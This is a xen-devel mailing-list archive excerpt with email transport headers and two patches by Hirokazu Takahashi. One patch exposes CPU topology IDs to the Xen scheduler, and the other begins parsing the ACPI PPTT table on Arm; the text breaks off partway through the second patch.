	fgmzJNUmnb+Xgktik33ji4Nrdk1S8YSxedVQzlKimahujFFhSWbf/hXxerbXvwLLksVIONo3LvHHxBfwBCDY15Iu28VsVHtxo377QXIWAUMOXJXmgmbbBjuBdjXCa6sLKXHd9s83nhqnSHCc2/5uwEVRLATC1YHfTm9OYDuWNQmi0pIOncIGO2mjNWB8/F/kEs7UwGLVB1AlJSu7rATUeCP8paB8uuSCszKYWbLNjQRSUq10fgZTkTz/G7krZ+t04fTaC8EhrtdARMZgo5SDBSGDib7oOD3JwDBAnE4S/KQMI4C3Ix/2fcQtjLY0hlYXuTk2PrzOFHr/Evn13nGAkTLdwAD/QW7lhQ5/mtH0nah5pQ5XXSdS7ShrOdFFU53hXPj6zoK19UgRCslZSpUxLrx2CgfvCl751dpghe5tIDgFXZpqLzI/cQlt/WwukvMG6irQxCcsZee/D3ZTRg7dcLEGEEtSIdZG+bmBjeZMs/X+Lb9Zd39P7W+z0qBNf99JIZY/6tbVrGGWmlks8Fg4eUnE/YBjh3LRwpjA3Sm5qtKEzWCFchv6xn6WqvIwTtHO9kma64FykrEvMGajA+Mpi8cb0YGk2k4F8jTQ7+b+V68YSEnJ97ci/SV8zokD4WwIv8PQJZobHGMwMEMF8D+sVfNYqZePnbyZC9C01spbvXo=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(376014)(7416014)(23010399003)(10070799003)(366016)(1800799024)(6133799003)(56012099006)(18002099003)(22082099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UDk8Alph3bb9J2Uri8KD8+o30mPaTP6wrO6XebnfKVEDw52mU8Wic03ZoO?=
 =?us-ascii?Q?PdrlQDvyLf5/IEdnW7JetS63/HenAxPyBDxESEKhW+RI+1ajpaXjLhOuA5av?=
 =?us-ascii?Q?tZImScxqCgS3aVzKDzEEtTX/CGdFoObswlsG9piFtheO1G2E94LGNuD2vtt7?=
X-MS-Exchange-AntiSpam-MessageData-1: 4+Zoe5w4u4Mmbg==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 02ad1b01-c3c3-4f6b-5157-08dede064e94
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 22:06:20.3365
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: yROMzcQ7jO+njZ+pednF33VJgHw624MXKZd5hJ3ZJqxXxdp94ljCCGpbDEUi8Uu6CQ33lWxmiog2x4oYESkDKA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TYCP286MB2431
X-purgate-ID: tlsNG-c201ff/1783634783-D855412E-D702061C/0/0
X-purgate-type: clean
X-purgate-size: 9028

Make CPU topology information available to the Xen scheduler.
Additionally, ensure that this topology information is displayed
when executing the 'xl info -n' command.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
---
Changes in v5:
  Corrected the erroneous use of CONFIG_CPU_TOPOLOGY to
  CONFIG_GENERIC_CPU_TOPOLOGY.

 xen/arch/arm/include/asm/processor.h   |  4 --
 xen/arch/arm/smpboot.c                 |  8 +---
 xen/arch/ppc/include/asm/processor.h   |  4 --
 xen/arch/riscv/include/asm/processor.h |  4 --
 xen/common/device-tree/cpu-topology.c  | 51 ++++++++++++++++++++++++++
 xen/common/sched/credit2.c             |  3 ++
 xen/common/sysctl.c                    |  1 +
 xen/drivers/acpi/topology.c            |  3 ++
 xen/include/xen/cpu-topology.h         | 45 ++++++++++++++++++++++-
 9 files changed, 103 insertions(+), 20 deletions(-)

diff --git a/xen/arch/arm/include/asm/processor.h b/xen/arch/arm/include/asm/processor.h
index a3753c317f..41fa73cfc4 100644
--- a/xen/arch/arm/include/asm/processor.h
+++ b/xen/arch/arm/include/asm/processor.h
@@ -613,10 +613,6 @@ void show_stack(const struct cpu_user_regs *regs);
 
 #define cpu_relax() barrier() /* Could yield? */
 
-/* All a bit UP for the moment */
-#define cpu_to_core(_cpu)   (0)
-#define cpu_to_socket(_cpu) (0)
-
 struct vcpu;
 void vcpu_regs_hyp_to_user(const struct vcpu *vcpu,
                            struct vcpu_guest_core_regs *regs);
diff --git a/xen/arch/arm/smpboot.c b/xen/arch/arm/smpboot.c
index d957553a44..88b01bcfd2 100644
--- a/xen/arch/arm/smpboot.c
+++ b/xen/arch/arm/smpboot.c
@@ -92,13 +92,7 @@ static int setup_cpu_sibling_map(int cpu)
          !zalloc_cpumask_var(&per_cpu(cpu_core_mask, cpu)) )
         return -ENOMEM;
 
-    /*
-     * Currently we assume there is no multithread and NUMA, so
-     * a CPU is a sibling with itself, and the all possible CPUs
-     * are supposed to belong to the same socket (NUMA node).
-     */
-    cpumask_set_cpu(cpu, per_cpu(cpu_sibling_mask, cpu));
-    cpumask_copy(per_cpu(cpu_core_mask, cpu), &cpu_possible_map);
+    init_cpu_sibling_map(cpu);
 
     return 0;
 }
diff --git a/xen/arch/ppc/include/asm/processor.h b/xen/arch/ppc/include/asm/processor.h
index 242346cab9..1bf6f6c66c 100644
--- a/xen/arch/ppc/include/asm/processor.h
+++ b/xen/arch/ppc/include/asm/processor.h
@@ -141,10 +141,6 @@
 /* Macro to adjust thread priority for hardware multithreading */
 #define HMT_very_low()  asm volatile ( "or %r31, %r31, %r31" )
 
-/* TODO: This isn't correct */
-#define cpu_to_core(cpu)   (0)
-#define cpu_to_socket(cpu) (0)
-
 /*
  * User-accessible registers: most of these need to be saved/restored
  * for every nested Xen invocation.
diff --git a/xen/arch/riscv/include/asm/processor.h b/xen/arch/riscv/include/asm/processor.h
index 6b89df4a2d..d478ffb76b 100644
--- a/xen/arch/riscv/include/asm/processor.h
+++ b/xen/arch/riscv/include/asm/processor.h
@@ -54,10 +54,6 @@ struct cpu_user_regs
     unsigned long pregs;
 };
 
-/* TODO: need to implement */
-#define cpu_to_core(cpu)   0
-#define cpu_to_socket(cpu) 0
-
 static inline void cpu_relax(void)
 {
 #ifdef __riscv_zihintpause
diff --git a/xen/common/device-tree/cpu-topology.c b/xen/common/device-tree/cpu-topology.c
index b653227ef4..43322a153f 100644
--- a/xen/common/device-tree/cpu-topology.c
+++ b/xen/common/device-tree/cpu-topology.c
@@ -330,6 +330,55 @@ int __init parse_dt_topology(void)
     return parse_socket(map);
 }
 
+static void __init setup_cpu_topology_ids(void)
+{
+    unsigned int cpu;
+    unsigned int next_core_id = 0;
+    unsigned int next_cluster_id = 0;
+    unsigned int next_socket_id = 0;
+
+    for_each_possible_cpu(cpu)
+    {
+        unsigned int first_cpu;
+        struct cpu_topology *topo = &cpu_topology[cpu];
+
+        first_cpu = cpumask_first(topo->thread_sibling);
+        if ( first_cpu == cpu )
+        {
+            topo->phys_core_id = next_core_id;
+            next_core_id++;
+        }
+        else
+            topo->phys_core_id = cpu_topology[first_cpu].phys_core_id;
+
+        /* Reuse the calculated core id if clustering is not supported */
+        if ( cpumask_empty(topo->cluster_sibling) )
+            topo->phys_cluster_id = topo->phys_core_id;
+        else
+        {
+            first_cpu = cpumask_first(topo->cluster_sibling);
+            if ( first_cpu == cpu )
+            {
+                topo->phys_cluster_id = next_cluster_id;
+                next_cluster_id++;
+            }
+            else
+                topo->phys_cluster_id = cpu_topology[first_cpu].phys_cluster_id;
+        }
+
+        first_cpu = cpumask_first(topo->core_sibling);
+        if ( first_cpu == cpu )
+        {
+            topo->phys_socket_id = next_socket_id;
+            next_socket_id++;
+        }
+        else
+            topo->phys_socket_id = cpu_topology[first_cpu].phys_socket_id;
+
+        topo->num_siblings = cpumask_weight(topo->thread_sibling);
+    }
+}
+
 void __init dt_init_cpu_topology(void)
 {
     unsigned int cpu;
@@ -342,6 +391,8 @@ void __init dt_init_cpu_topology(void)
 
     for_each_possible_cpu(cpu)
         setup_siblings_masks(cpu);
+
+    setup_cpu_topology_ids();
 }
 
 /*
diff --git a/xen/common/sched/credit2.c b/xen/common/sched/credit2.c
index 95946634d1..3d4cecd5ba 100644
--- a/xen/common/sched/credit2.c
+++ b/xen/common/sched/credit2.c
@@ -9,6 +9,7 @@
  * Based on an earlier verson by Emmanuel Ackaouy.
  */
 
+#include <xen/cpu-topology.h>
 #include <xen/errno.h>
 #include <xen/init.h>
 #include <xen/lib.h>
@@ -37,6 +38,8 @@ static unsigned int cpu_nr_siblings(unsigned int cpu)
 {
 #ifdef CONFIG_X86
     return cpu_data[cpu].x86_num_siblings;
+#elif defined(CONFIG_GENERIC_CPU_TOPOLOGY)
+    return cpu_topology ? cpu_topology[cpu].num_siblings : 1;
 #else
     return 1;
 #endif
diff --git a/xen/common/sysctl.c b/xen/common/sysctl.c
index 5207664252..81a68fe24c 100644
--- a/xen/common/sysctl.c
+++ b/xen/common/sysctl.c
@@ -28,6 +28,7 @@
 #include <xen/pmstat.h>
 #include <xen/livepatch.h>
 #include <xen/coverage.h>
+#include <xen/cpu-topology.h>
 
 long do_sysctl(XEN_GUEST_HANDLE_PARAM(xen_sysctl_t) u_sysctl)
 {
diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
index 6bd2d96ebb..9155edc0be 100644
--- a/xen/drivers/acpi/topology.c
+++ b/xen/drivers/acpi/topology.c
@@ -22,6 +22,9 @@ void __init acpi_init_cpu_topology(void)
     {
         struct cpu_topology *topo = &cpu_topology[cpu];
 
+        topo->phys_core_id = cpu;
+        topo->num_siblings = 1;
+
         cpumask_set_cpu(cpu, topo->thread_sibling);
         cpumask_copy(topo->core_sibling, &cpu_possible_map);
     }
diff --git a/xen/include/xen/cpu-topology.h b/xen/include/xen/cpu-topology.h
index f64820febf..ee34425680 100644
--- a/xen/include/xen/cpu-topology.h
+++ b/xen/include/xen/cpu-topology.h
@@ -4,6 +4,9 @@
 #define XEN_CPU_TOPOLOGY_H
 
 #include <xen/cpumask.h>
+#include <xen/percpu.h>
+#include <asm/processor.h>
+#include <asm/smp.h>
 
 #ifdef CONFIG_GENERIC_CPU_TOPOLOGY
 
@@ -11,16 +14,56 @@ struct cpu_topology {
     cpumask_var_t thread_sibling;
     cpumask_var_t core_sibling;
     cpumask_var_t cluster_sibling;
+    unsigned int phys_core_id;
+    unsigned int phys_cluster_id;
+    unsigned int phys_socket_id;
+    unsigned int num_siblings;
 };
 
 extern struct cpu_topology *cpu_topology;
 void init_cpu_topology(void);
 
+static inline void init_cpu_sibling_map(unsigned int cpu)
+{
+    if ( cpu_topology )
+    {
+        cpumask_copy(per_cpu(cpu_sibling_mask, cpu),
+                     cpu_topology[cpu].thread_sibling);
+        cpumask_copy(per_cpu(cpu_core_mask, cpu),
+                     cpu_topology[cpu].core_sibling);
+    }
+    else
+    {
+        cpumask_set_cpu(cpu, per_cpu(cpu_sibling_mask, cpu));
+        cpumask_copy(per_cpu(cpu_core_mask, cpu), &cpu_possible_map);
+    }
+}
+
+#define cpu_to_core(cpu) (cpu_topology ? cpu_topology[cpu].phys_core_id : 0)
+#define cpu_to_socket(cpu) (cpu_topology ? cpu_topology[cpu].phys_socket_id : 0)
+
 #else /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
-#define cpu_topology ((struct cpu_topology *)NULL)
 static inline void init_cpu_topology(void) {}
 
+static inline void init_cpu_sibling_map(unsigned int cpu)
+{
+    /*
+     * If CONFIG_GENERIC_CPU_TOPOLOGY is disabled, it is assumed that
+     * all CPUs reside in the same socket and that SMT is not used.
+     */
+    cpumask_set_cpu(cpu, per_cpu(cpu_sibling_mask, cpu));
+    cpumask_copy(per_cpu(cpu_core_mask, cpu), &cpu_possible_map);
+}
+
+#ifndef cpu_to_core
+#define cpu_to_core(cpu)   (0)
+#endif
+
+#ifndef cpu_to_socket
+#define cpu_to_socket(cpu) (0)
+#endif
+
 #endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
 #endif /* XEN_CPU_TOPOLOGY_H */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 22:06:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 22:06:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358610.1612652 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whwt3-0007WJ-UK; Thu, 09 Jul 2026 22:06:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358610.1612652; Thu, 09 Jul 2026 22:06:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whwt3-0007WA-R0; Thu, 09 Jul 2026 22:06:29 +0000
Received: by outflank-mailman (input) for mailman id 1358610;
 Thu, 09 Jul 2026 22:06:29 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1whwt3-0007Vh-9E
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 22:06:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whwt2-004Qfb-ML
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 00:06:28 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a501b2a-2eae-0a2a0a5409dd-0a2a4501accc-38
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 00:06:28 +0200
Received: from [52.101.125.136]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <taka@valinux.co.jp>)
 id 6a501b62-3ea4-0a2a45010019-34657d888760-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 00:06:28 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TYCP286MB2431.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:18f::7) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.17; Thu, 9 Jul
 2026 22:06:24 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0181.016; Thu, 9 Jul 2026
 22:06:24 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=hxdBvyqKdu3QD+lJKCFPtK7hPdssa6jgwtf/7Obes6NK5T+C8h7jBmE1H1nz+imGppnCRPhTyDsu1dyVfFxkmFQjbtqYm+DeGVzwdE2EZtjXvbfhe7D9Z+/jBYHAph6i354xOlQbMTyxbfPwFYCCwIrg1j/ap14xV9kkvDBPW4tZUtdW8c6b1ItiR6je1W/P/HFeYv/9p9MdmwtaQQK/qp6Mar49cQVslUz85NSIqF+Xzc9dcADctTQhqOQE+XQ00ncccfmiy4JmUn0tsQ0zLvr7LVW+RPqA1vio43FpKbdAkTJtYrYs4QwL3j2mTViyVw7Jp6MvkQQTDHitglds+g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=hHLTHYhQn87WMtZCHSNKRQZGN/vrbyKKjK5gg/fIUwM=;
 b=LZzMdticrHg73welDCuh5e6QS9uQ/zk3m4ztyWudKSAI8nhQbt7da3V3LC5L6fZf9eFRMUSuWlUjoLeryFj1kkxyTOglIg27h4sVRNIqw7tKGxngGLV0DzZ1vG62XaJO4z80/gVgmtXjlHBKOFsIUBrOl81wbNnkDvpTg8rmX5mgo5Vfx4/NhahuTgrdg+MPV+sdElys8O15ypftQ8R8YMYZa1T+Zl5PkWQkh3U8UwfHLBKgj0jy3xxtpycsbEFPkjxq31tB2Gx4zJirPsTZtqH6UktYV9xdksn5Q1QrZDo1p8gKLvlQpkBnjYZs8uXD94h9BnEsRGBd3ucS7boLxw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=hHLTHYhQn87WMtZCHSNKRQZGN/vrbyKKjK5gg/fIUwM=;
 b=hGotgJEeCCOqoKCal/4lbJuwG4czNQ0u5X+8D+6UiJ823rc05R78o5Nf1TovpCy8E0ZbEk/bSTdShzmDwJsON+SquxEo2KxgbM90SxM5+5Waebz5M1O2qUAu+BOCEWeH0HgShLdsaG1K3O57hXXIqPDfLdMfuRCrb6NwG8wtSW8=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Hirokazu Takahashi <taka@valinux.co.jp>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>
Subject: [PATCH v5 4/4] arm/acpi: Parse PPTT to initialize CPU topology
Date: Fri, 10 Jul 2026 07:05:52 +0900
Message-ID: <20260709220552.646462-5-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260709220552.646462-1-taka@valinux.co.jp>
References: <20260709220552.646462-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TYCP301CA0014.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:400:386::11) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TYCP286MB2431:EE_
X-MS-Office365-Filtering-Correlation-Id: 21d8eef6-2abb-4dfc-7b55-08dede0650ba
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|7416014|23010399003|10070799003|366016|1800799024|6133799003|56012099006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	1ERX4ZWaaa+KEAZ4TH15H8FITJC/4T7WT94nFPIh+LvLSeInC8jnwmULM28m/CP4q2X08K+oWP42CgDyqrpRZPTHh1ot1AXWkzTd5q6N4bbr597layC1+U1EEMXkiopDdnw9V8hGJ3Rvg/00aWLrn5qckJ2WC9tTztWBwMNgt7m+K+rqkCyQiji2sPTkdgM+FBX8oXnsWqmptQsghFMe7rLewthnbL/sCwd8UKoCv56+WAQCv5zWsqpyO5wbz81kgVXIjIQ8O3q34TwHKX2MQ5WgwgxdxV9MEWlv2KtLao2CZ9Bf+zIeBUb70Xh8TWs2hDo5HcqWQ6sV5y7WwAFgb/PA4xB6svDiyoNvYpcDR5NwFl0Q1akFeiaVLrKJ2DslqrEd0l0JFXJWdvKRNfGGSRsTGMOVlsjQ9krZ5xwBMN64Y74k2i/5WT70q3hKfvIxyXrAwlwROoJDpCjdqzuh6kdwd2Y/dJmNJ/KOEBejjaznSguKiF3lSnq+6CfPSfnGvQrc3WWdtv7esA9QZozkr5z2OxtBJt8BqqRmB1hGa2DppkkqkZ/qcHCRYBJvGgZBEp/Cz10I2wLUEHOrilYj0ltQShl0Qo3/5RbvQgCmNDCamruRi42ct4No6GRcVADaQc31g8hiQM0cG1keK4j0RfGTMqshXDT0ez0z0Wiwetk=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(376014)(7416014)(23010399003)(10070799003)(366016)(1800799024)(6133799003)(56012099006)(18002099003)(22082099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?5q5cEmRGKd8P/u0/liwr7faMN4ZLhqaCyCeU1eWuRscxphKo6f3Sx39uelBD?=
 =?us-ascii?Q?MjdV2VISvOlKGRwqJAGuQdlWH1+kM+lLH/zIBUzNmnV48GAHKr3DNn+18GmD?=
 =?us-ascii?Q?3z2ToDtdokTn3eJ5q5W7gz8ecUkEAo4y84gvIWDaOt9Jj1b02NWUu5x+Xeau?=
 =?us-ascii?Q?MOJIfD5+KV0wmk95qSY41Fm0LudolnhuiTmdtQlS64IjJ+CIUNxZ9BXmI1zK?=
 =?us-ascii?Q?/G5xSzOTk89RXERggZIld+6lzVNOtY5zPwapSK0AsVC3DvogfIfX8eWSGDBQ?=
 =?us-ascii?Q?Gt+nufKmfKSaXGHOrrzNE6b3cmgn4Yah39eRRUlGGERhTfICiB192MFELvuJ?=
 =?us-ascii?Q?dDSIOcPzCIHHG/+oMG2ILIbXfvxEFIX7UxxgL+WWEpfU2aPjdyn1DchZtV8G?=
 =?us-ascii?Q?gzDcA2OZwJJmK8dFAKndO6dEEVI3y0eQCo6Ivh9Lmaaq8EASM7DSR28Q9XBq?=
 =?us-ascii?Q?D6XuI5JTrM5YACtwcSiAym37hj4k9XdXISSbh5gE1uzAyKVKTketYgVlbQPy?=
 =?us-ascii?Q?ZUmJNSeWh2h64bcIVsLVE/z+4HtFq31DOEUw2q4V7EsAZbvO3NsSq2ewrOwd?=
 =?us-ascii?Q?DJio0L5c+tsJTeY1EfhVOhhkDal/bIsaUIeML3FjY5Pisp/PFcqsxVWDWgaZ?=
 =?us-ascii?Q?ae9oSUZX962mcHM10PCKD0Mz6Wc5PJjbNZ91lRKSxVTwTJdZ39bg2MXloz3R?=
 =?us-asc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6jfaCtKEKtrke+ncZ1rhwKfj0wfwaiMBsdKUDnWy7RudqGcCXx7?=
 =?us-ascii?Q?KKOzSYa3tSPq/e9rd/OrgkyJYFck0X5xJd12WSC0QVHno88tY2CM8RiPUukJ?=
 =?us-ascii?Q?IFRabq/vl/xwMk27Pxd2VLh8xkRJRmLnXtlkhFWQ6skQNndCxIys41UyDcp7?=
 =?us-ascii?Q?uy4aa56deauw4IbDWhkcGa9DCigHy4Ryxoga836MaWJDB2/lZlBLsxULzScu?=
X-MS-Exchange-AntiSpam-MessageData-1: m/B7eRm3RT56Xg==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 21d8eef6-2abb-4dfc-7b55-08dede0650ba
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 22:06:23.9592
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: COi8tdjQjOhynp7FhVeW4nqW3xto2OR/a0AVZS0W3wcLq5xXp9ttPBWQc4ae2khl55IlZYgZ3/GTpnTXxEfDXg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TYCP286MB2431
X-purgate-ID: tlsNG-d62444/1783634788-BA4F30A8-33A417A1/0/0
X-purgate-type: clean
X-purgate-size: 12306

Parse the ACPI PPTT (Processor Properties Topology Table) to
initialize the CPU topology.

For ACPI 6.3 and later, the ACPI_PPTT_ACPI_PROCESSOR_IS_THREAD flag
is checked to determine the presence of SMT. For ACPI 6.2 and
earlier, CPUs are assumed not to support SMT.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
---
Changes in v5:
  Extracted CPU topology information from the ACPI PPTT.

 xen/arch/arm/acpi/boot.c        |   2 +
 xen/arch/arm/include/asm/acpi.h |   2 +
 xen/drivers/acpi/topology.c     | 230 ++++++++++++++++++++++++++++++--
 xen/include/acpi/actbl3.h       |  30 +++++
 xen/include/xen/acpi.h          |   8 ++
 5 files changed, 264 insertions(+), 8 deletions(-)

diff --git a/xen/arch/arm/acpi/boot.c b/xen/arch/arm/acpi/boot.c
index 4ac0fd8f51..fc7ecb5749 100644
--- a/xen/arch/arm/acpi/boot.c
+++ b/xen/arch/arm/acpi/boot.c
@@ -85,6 +85,7 @@ acpi_map_gic_cpu_interface(struct acpi_madt_generic_interrupt *processor)
             return;
         }
         bootcpu_valid = true;
+        acpi_map_cpu_acpiid(0, processor->uid);
         return;
     }
 
@@ -119,6 +120,7 @@ acpi_map_gic_cpu_interface(struct acpi_madt_generic_interrupt *processor)
 
     /* map the logical cpu id to cpu MPIDR */
     cpu_logical_map(enabled_cpus) = mpidr;
+    acpi_map_cpu_acpiid(enabled_cpus, processor->uid);
 
     enabled_cpus++;
 }
diff --git a/xen/arch/arm/include/asm/acpi.h b/xen/arch/arm/include/asm/acpi.h
index 13756dd341..b2e156e131 100644
--- a/xen/arch/arm/include/asm/acpi.h
+++ b/xen/arch/arm/include/asm/acpi.h
@@ -61,6 +61,8 @@ paddr_t acpi_get_table_offset(struct membank tbl_add[], EFI_MEM_RES index);
     (!(entry) || (unsigned long)(entry) + sizeof(*(entry)) > (end) ||	\
      (entry)->header.length != ACPI_MADT_GICC_LENGTH)
 
+#define INVALID_ACPIID		(-1U)
+
 #ifdef CONFIG_ACPI
 extern bool acpi_disabled;
 /* Basic configuration for ACPI */
diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
index 9155edc0be..37e7c70625 100644
--- a/xen/drivers/acpi/topology.c
+++ b/xen/drivers/acpi/topology.c
@@ -5,18 +5,90 @@
 #include <xen/cpumask.h>
 #include <xen/init.h>
 
-/*
- * TODO: Populate the topology information by scanning the ACPI
- *       PPTT (Processor Properties Topology Table).
- */
-void __init acpi_init_cpu_topology(void)
+uint32_t map_cpu_acpiid[NR_CPUS] __initdata =
+         { [0 ... NR_CPUS - 1] = INVALID_ACPIID };
+uint32_t socket_map[NR_CPUS] __initdata;
+uint32_t cluster_map[NR_CPUS] __initdata;
+uint32_t core_map[NR_CPUS] __initdata;
+uint32_t thread_map[NR_CPUS] __initdata;
+unsigned int __initdata num_sockets;
+unsigned int __initdata num_clusters;
+unsigned int __initdata num_cores;
+
+static unsigned int __init get_logical_id(uint32_t phys_offset,
+                                          uint32_t *map,
+                                          unsigned int *count)
+{
+    unsigned int id;
+
+    for ( id = 0; id < *count; id++ )
+        if ( map[id] == phys_offset )
+            return id;
+
+    map[*count] = phys_offset;
+    id = *count;
+    (*count)++;
+
+    return id;
+}
+
+static struct acpi_pptt_processor *__init find_pptt_node(
+       const struct acpi_table_header *table_hdr, unsigned int acpi_id)
+{
+    const struct acpi_subtable_header *entry;
+    unsigned long table_end;
+    const char *ptr;
+
+    if ( !table_hdr )
+        return NULL;
+
+    table_end = (unsigned long)table_hdr + table_hdr->length;
+
+    ptr = (const char *)table_hdr + sizeof(struct acpi_table_pptt);
+
+    while ( (unsigned long)ptr + sizeof(struct acpi_subtable_header)
+            <= table_end )
+    {
+        entry = (const struct acpi_subtable_header *)ptr;
+
+        if ( entry->length == 0 )
+        {
+            printk(XENLOG_ERR
+                   "ACPI: PPTT has an invalid zero-length subtable.\n");
+            break;
+        }
+
+        if ( (unsigned long)ptr + entry->length > table_end )
+        {
+            printk(XENLOG_ERR
+                   "ACPI: PPTT subtable extends beyond table end.\n");
+            break;
+        }
+
